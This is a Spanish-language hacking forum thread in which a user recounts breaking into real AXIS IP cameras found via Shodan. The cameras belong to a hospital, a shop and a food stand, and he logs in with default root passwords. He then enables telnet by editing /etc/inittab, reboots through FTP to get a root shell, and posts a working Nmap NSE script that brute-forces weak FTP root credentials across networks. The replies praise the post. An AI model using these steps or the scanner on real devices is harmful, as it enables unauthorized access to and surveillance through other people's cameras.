This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Tomando el control de una camara AXIS - Parte I

  • 4 Replies
  • 6841 Views

0 Members and 1 Guest are viewing this topic.

Offline q3rv0

  • *
  • Underc0der
  • Posts: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • View Profile
    • q3rv0
    • Email

Tomando el control de una camara AXIS - Parte I

  • on: August 11, 2014, 06:59:18 pm


Hay veces en las que se me da por jugar con Shodan, realizando busqueda de routers, camaras IP u otros dispositivos, esta vez me puse a indagar las camaras AXIS que se encontraban en la red publica.

Simplemente poniedon AXIS en el buscador podemos encontrar unas cuantas disponibles, sin embargo la gran mayoria dispone de autentificacion HTTP Digest para acceder al panel (pero no todas) incluso muchas poseen passwords como el clasico 123456.



Entonces me puse a averiguar informacion de este tipo de camaras, que bien son dispositivos con Linux arm* embebido y otra cosa interesante es que el user por defecto es root, asi que me puse a probar intentos de logueo con root:123456, root:root, siempre a travez de las direcciones que me arrojaba shodan y me cruze con una gran cantidad de dispositivos que realmente estaban configurados con esas credenciales y es mas algunos ni siquiera tenian activado la autentificacion por http.

Me tope con algunas como estas:

Lo que pareciera ser un hospital.



Un pequeño local de electrodomesticos en Arabia Saudita



Una pancheria en Medellin Colombia.



Ahora que ya habia accedido al panel,  queria ver la forma de tomar el control del mini OS GNU.

Por empezar estos dispositivos cuentan con un servidor ftp configurado con las mismas credenciales que el http, pero por defecto el demonio telnet se encuentra desabilitado al inicio, pero esto no quita que pueda ser activado a travez del servidor web utilizando un editor de ficheros dentro de las opciones del sistema.



Solo basta con editar el fichero /etc/inittab y descomentar la linea:

Code: (bash) You are not allowed to view links. Register or Login
#tnet:35:once:/usr/sbin/telnetd


Salvar los cambios, y reiniciar el dispositivo, esto podemos hacerlo mediante el panel.



O bien por ftp con el siguiente comando.

Code: (bash) You are not allowed to view links. Register or Login
quote site reboot


Una vez iniciado el sistema seremos capaces de establecer una conexion por telnet como usuario root.



No quedando satisfecho con la pobre cantidad de camaras que me proveia shodan me dispuse a codear un NSE script para realizar sondeos con nmap y ver que me encontraba.

La manera de identificar estos juguetitos es mirando el banner que tira el ftp, una vez identificado, el script simplemente intenta loguearse como root, utilizando contraseñas debiles y ademas comprueba si el panel se encuentra protegido.

Code: (perl) You are not allowed to view links. Register or Login
description = [[
Script que se encarga de buscar camaras AXIS que contengan credenciales debiles
o sin autentificacion HTTP digest.
]]

author = "[Q]3rV[0]"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"brute", "auth"}

---
--
-- @usage nmap --script=axis_search -vv -T4 -Pn -n xx.xx.xxx.x -p80,21
-- @output
--PORT   STATE SERVICE
--21/tcp open  ftp
--80/tcp open  http

--Host script results:
--| axis:
--|   Host = xxx.x.xxx.3
--|   Version = AXIS M7010 Video Encoder 5.40.6.1 (2011) ready.
--|_  Auth = root:root
--
---


local http = require "http"
local ftp = require "ftp"
local nmap = require "nmap"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"

hostrule=function(host)
local http_port, ftp_port
http_port=nmap.get_port_state(host, {number=80, protocol="tcp"})
if not http_port and not (http_port.state=="open" or http_port.state=="open|filtered") then
return false
end
ftp_port=nmap.get_port_state(host, {number=21, protocol="tcp"})
if not ftp_port and not (ftp_port.state=="open" or ftp_port.state=="open|filtered") then
return false
end
return true
end

local out={}

local dic={'root', 123456, 1234}

local function data_out(out, message_banner, auth, host)
table.insert(out, string.format("Host = %s", host.ip))
table.insert(out, string.format("Version = %s", message_banner))
    table.insert(out, string.format("Auth = %s", auth))
    return stdnse.format_output(true, out)
end

local function http_auth(host)
local response=http.get(host, 80, '/view/viewer_index.shtml')
return response
end


action=function(host)
local socket=nmap.new_socket()
socket:connect(host, 21)
local buffer=stdnse.make_buffer(socket, "\r?\n")
local code, message_banner=ftp.read_reply(buffer)
if string.match(message_banner, "AXIS") then
local response=http_auth(host)
if response.status==401 or response.status==404 or response.status==403 then
for n,pass in ipairs(dic) do
socket:send("USER root\r\n")
local code, message=ftp.read_reply(buffer)
if code==331 then
socket:send("PASS "..pass.."\r\n")
end
local code, message=ftp.read_reply(buffer)
if message == "User logged in, proceed." then
return data_out(out, message_banner, 'root:'..pass, host)
end
end
else
return data_out(out, message_banner, 'HTTP Blank Auth :)', host)
end
return data_out(out, message_banner, 'Failed Auth :(', host)
end
end

Para terminar dejo una salida del script realizando un sondeo de prueba a la red xx.xxx.xx.x/24


« Last Edit: August 11, 2014, 09:35:29 pm by [Q]3rV[0] »
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Online ANTRAX

  • *
  • Administrator
  • Posts: 5841
  • Actividad:
    50%
  • Country: ar
  • Reputación 43
  • ANTRAX
  • Twitter: @Underc0de
    • View Profile
    • Underc0de
    • Email

Re:Tomando el control de una camara AXIS - Parte I

  • on: August 11, 2014, 07:03:08 pm
Que grande [Q]3rv[0]!!
Volviste con todoo!!!
Muchisimas gracias por el aporte!!


Offline WhiZ

  • *
  • Ex-Staff
  • *****
  • Posts: 395
  • Actividad:
    0%
  • Reputación 0
    • View Profile

Re:Tomando el control de una camara AXIS - Parte I

  • on: August 11, 2014, 07:55:32 pm
Excelente [Q]3rV[0]! Me encantan los post de este tipo. Resultan muy educativos.

Gracias por el aporte!

Saludos!
WhiZ


Offline blackdrake

  • *
  • Co Admin
  • Posts: 2006
  • Actividad:
    3.33%
  • Country: es
  • Reputación 23
    • View Profile

Re:Tomando el control de una camara AXIS - Parte I

  • on: August 12, 2014, 04:31:29 am
Totalmente de acuerdo con Antrax y WhiZ. Pienso que este tipo de tutoriales son los mejores y tu nos has dejado uno increíble, gracias por traerlo.

Un saludo.


Offline OLM

  • *
  • Underc0der
  • Posts: 57
  • Actividad:
    0%
  • Reputación 0
  • No hay justicia si la guerra está justificada.
  • Twitter: @JJavierOlmedo
    • View Profile
    • Hackpuntes
    • Email

Re:Tomando el control de una camara AXIS - Parte I

  • on: August 28, 2014, 09:01:35 am
Te doy mi enhorabuena por este post y mil gracias.

Saludos.
Nunca consideres el estudio como una obligación, sino como una oportunidad para adentrarse en el maravilloso mundo del saber.